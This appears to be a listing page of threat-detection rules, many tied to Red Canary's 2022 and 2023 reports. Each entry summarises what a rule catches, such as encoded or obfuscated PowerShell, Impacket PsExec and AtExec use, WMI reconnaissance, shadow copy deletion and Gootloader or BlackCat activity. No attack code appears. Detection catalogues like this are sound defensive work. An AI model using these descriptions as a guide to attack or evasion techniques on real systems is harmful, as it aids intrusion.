Detects MS Office applications spawning WMI processes. Part of the RedCanary 2023 Threat Detection Report.

Read More
Powershell Base64 Encoding (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of powershell.exe with base64 Option. Part of the RedCanary 2023 Threat Detection Report.

Read More
Powershell Encoded Command Switch (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of powershell.exe with command lines that include variations of the -encodedcommand argument. Part of the RedCanary 2023 Threat Detection Report.

Read More
Powershell Obfuscated Commands (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.001 ·
Share on:

Detects powershell command line strings with high numbers of suspicious characters, potentially for obfuscation. Part of the RedCanary 2023 Threat Detection Report.

Read More
Service Control Manager Spawning Command Shell (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects suspect command line strings in CMD processes spawned by services.exe. Part of the RedCanary 2023 Threat Detection Report.

Read More
Suspicious Powershell Commandlets (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of powershell.exe with suspicious cmdlets or options. Part of the RedCanary 2023 Threat Detection Report.

Read More
Windows Scheduled Task Create Shell (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects attempts to establish persistence using schtasks and command shell. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMI Reconnaissance (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects the wmic reconnaissance activity. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMI Shadow Copy Deletion (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects wmic shadow copy deletion activity. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMI Suspicious Commands (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects the wmic process with suspicious options. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMI Suspicious Powershell Cmdlets (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects WMI-related suspicious powershell cmdlets. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMI Suspicious Process Lineage (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects the WMI provider host spawning suspicious processes. Part of the RedCanary 2023 Threat Detection Report.

Read More
WMIC Unusual Module Loads (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects the wmic process module loads potentially to perform application control bypasses. Part of the RedCanary 2023 Threat Detection Report.

Read More
File Creation by Office Applications

Apr 21, 2023 · attack.t1204.002 attack.t1047 attack.t1218.010 attack.execution attack.defense_evasion ·
Share on:

This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.

Read More
Invoke-Obfuscation CLIP+ Launcher

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation RUNDLL LAUNCHER

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Read More
Invoke-Obfuscation STDIN+ Launcher

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation Via Stdin

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Use Clip

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use Rundll32

Apr 21, 2023 · attack.defense_evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Read More
Metasploit Or Impacket Service Installation Via SMB PsExec

Apr 21, 2023 · attack.lateral_movement attack.t1021.002 attack.t1570 attack.execution attack.t1569.002 ·
Share on:

Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation

Read More
OMIGOD SCX RunAsProvider ExecuteScript

Apr 21, 2023 · attack.privilege_escalation attack.initial_access attack.execution attack.t1068 attack.t1190 attack.t1203 ·
Share on:

Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

Read More
Privilege Escalation Preparation

Apr 21, 2023 · attack.execution attack.t1059.004 ·
Share on:

Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.

Read More
Quick Execution of a Series of Suspicious Commands

Apr 21, 2023 · car.2013-04-002 attack.execution attack.t1059 ·
Share on:

Detects multiple suspicious process in a limited timeframe

Read More
Remote Service Creation

Apr 21, 2023 · attack.lateral_movement attack.persistence attack.execution attack.t1543.003 ·
Share on:

Detects remote execution via service creation on the destination host

Read More
Impacket AtExec Process Activity

Apr 16, 2023 · attack.s0357 attack.execution attack.t1053 attack.t1053.002 ·
Share on:

Detect Atexec.py (Impacket) usage to send command output to attacker.

Read More
Suspicious Impacket Pipe Creation - Psexec

Apr 16, 2023 · attack.s0357 attack.execution attack.t1569 attack.t1569.002 ·
Share on:

Detects named pipes created as a result of Impacket PSExec.py usage.

Read More
Suspicious Impacket PSExec Temp Executable File Creation

Apr 16, 2023 · attack.s0357 attack.execution attack.t1569 attack.t1569.002 ·
Share on:

Detects PSExec.py (Impacket) suspicious .exe file creation in Windows directory.

Read More
Impacket AtExec Suspicious Registry Modification

Jan 30, 2023 · attack.s0357 attack.execution attack.t1053 attack.t1053.002 ·
Share on:

Detects Atexec.py (Impacket) suspicious registry key addition.

Read More
Impacket AtExec Suspicious Temp File Creation

Jan 30, 2023 · attack.s0357 attack.execution attack.t1053 attack.t1053.002 ·
Share on:

Detects Atexec.py (Impacket) suspicious file creation in Windows temp directory.

Read More
Possible Impacket AtExec Activity

Jan 30, 2023 · attack.s0357 attack.execution attack.t1053 attack.t1053.002 ·
Share on:

Detect Impacket atexec.py usage in Windows task scheduler logs. If detected, these events will appear to be logged simultaneously and will all contain the same eight-letter task name.

Read More
Suspicious User-Initiated Process Execution on External Drive (Old)

Dec 28, 2022 · attack.s0650 attack.s0483 attack.execution attack.t1059 attack.t1204 attack.t1204.002 ·
Share on:

Detects command/scripting interpreter-created processes executing on an external drive. This will detect common instances of malware using LNK files to obscure malicious commands for user execution. Commonly associated with QakBot and IcedID.

Read More
Suspicious User-Initiated Process Execution on External Drive (Sysmon)

Dec 28, 2022 · attack.s0650 attack.s0483 attack.execution attack.t1059 attack.t1204 attack.t1204.002 ·
Share on:

Detects command/scripting interpreter-created processes executing on an external drive. This will detect common instances of malware using LNK files to obscure malicious commands for user execution. Commonly associated with QakBot and IcedID.

Read More
Suspicious Command Line Indicating BlackCat Execution

Dec 6, 2022 · attack.execution attack.t1059 attack.t1204 ·
Share on:

Detects process execution with the --access-token flag accompanied by a 64-character alphanumeric string in the space-delimited command-line arguments..

Read More
Suspicious Command Line Indicating BlackCat Execution with Get UUID Option

Dec 6, 2022 · attack.execution attack.t1059 attack.t1204 ·
Share on:

Detects process execution with the --access-token flag accompanied by a child process with a 'get uuid' option.

Read More
PowerShell -encodedcommand Switch

Nov 29, 2022 · attack.defense_evasion attack.t1140 attack.execution attack.t1059.001 ·
Share on:

Looks for the execution of powershell.exe with command lines that include variations of the -encodedcommand argument. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Base64 Encoding in CMD or Powershell

Nov 9, 2022 · attack.defense_evasion attack.t1140 attack.execution attack.t1059.001 ·
Share on:

Looks for the execution of cmd.exe or powershell.exe with command lines that includes the term base64. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Command Shell Bypassing Security Controls

Nov 9, 2022 · attack.execution attack.t1059.003 ·
Share on:

Detects common ways to bypass controls using Windows Command Shell. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Command Shell Obfuscated Commands

Nov 9, 2022 · attack.execution attack.t1059.003 attack.defense_evasion attack.t1027 ·
Share on:

Looks for the execution of Windows Command Shell with unusually high counts of characters used for obfuscation. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Command Shell Unusual or Suspicious Process Ancestry

Nov 9, 2022 · attack.persistence attack.t1505 attack.execution attack.t1059.003 ·
Share on:

Looks for suspicious process interactions between the Windows IIS worker process (w3wp.exe) and the command shell. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Gootloader Stage 2 Registry Key Creation

Nov 9, 2022 · attack.execution attack.defense_evasion attack.t1620 ·
Share on:

Detects potential stage 2 Gootloader registry key creation.

Read More
PowerShell Base64 Encoding

Nov 9, 2022 · attack.defense_evasion attack.t1140 attack.execution attack.t1059.001 ·
Share on:

Looks for the execution of powershell.exe with command lines that includes the term base64. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Powershell Obfuscation and Escape Characters

Nov 9, 2022 · attack.execution attack.t1059.003 attack.defense_evasion attack.t1027 ·
Share on:

Looks for the execution of PowerShell with unusually high counts of characters like ^, +, $, and %. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Suspicious Powershell Cmdlets

Nov 9, 2022 · attack.execution attack.t1059 attack.t1059.001 ·
Share on:

Looks for look for cmdlets, methods, and switches that may indicate malicious activity. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Suspicious WMI-Related Powershell Cmdlets

Nov 9, 2022 · attack.execution attack.t1059 attack.t1059.001 attack.t1047 ·
Share on:

Detects potential adversaries using powershell WMI-related cmdlets to query the operating system or execute commands, either locally or remotely. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Windows Scheduled Task Behaving Improperly or Suspiciously

Nov 9, 2022 · attack.persistence attack.execution attack.t1053 attack.t1053.005 ·
Share on:

Detects scheduled tasks created with the /create flag and a reference to commonly-abused Windows utilities. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Windows Scheduled Task Create Shell

Nov 9, 2022 · attack.persistence attack.execution attack.t1053 attack.t1053.005 ·
Share on:

Detects creation of scheduled tasks which may establish persistence using the command shell. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Windows Scheduled Task Making Suspicious Network Connection

Nov 9, 2022 · attack.persistence attack.execution attack.t1053 attack.t1053.005 ·
Share on:

Detects scheduled tasks created to reach out to external domains and download arbitrary binaries on a set or recurring schedule. Inspired by the 2022 Red Canary Threat Detection report.

Read More
WMIC Suspicious Commands

Nov 9, 2022 · attack.execution attack.t1047 ·
Share on:

Detects adversaries leveraging WMI to gather domain information such as users, groups, AV product in use, or computers in the domain. Inspired by the 2022 Red Canary Threat Detection report.

Read More
WMIC Suspicious Commands

Nov 9, 2022 · attack.execution attack.t1047 ·
Share on:

Detects suspicious parent-child relationships with the wmiprvse command. Inspired by the 2022 Red Canary Threat Detection report.

Read More
WMIC Suspicious Commands

Nov 9, 2022 · attack.execution attack.t1047 ·
Share on:

Detects spawning of unique and unsigned binaries or commands remotely using the well known process call create command. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Wscript.exe Executing Agreement Javascript in AppData Folder

Nov 9, 2022 · attack.execution attack.t1059 attack.t1059.005 ·
Share on:

Detects potential stage 1 Gootloader javascript execution.

Read More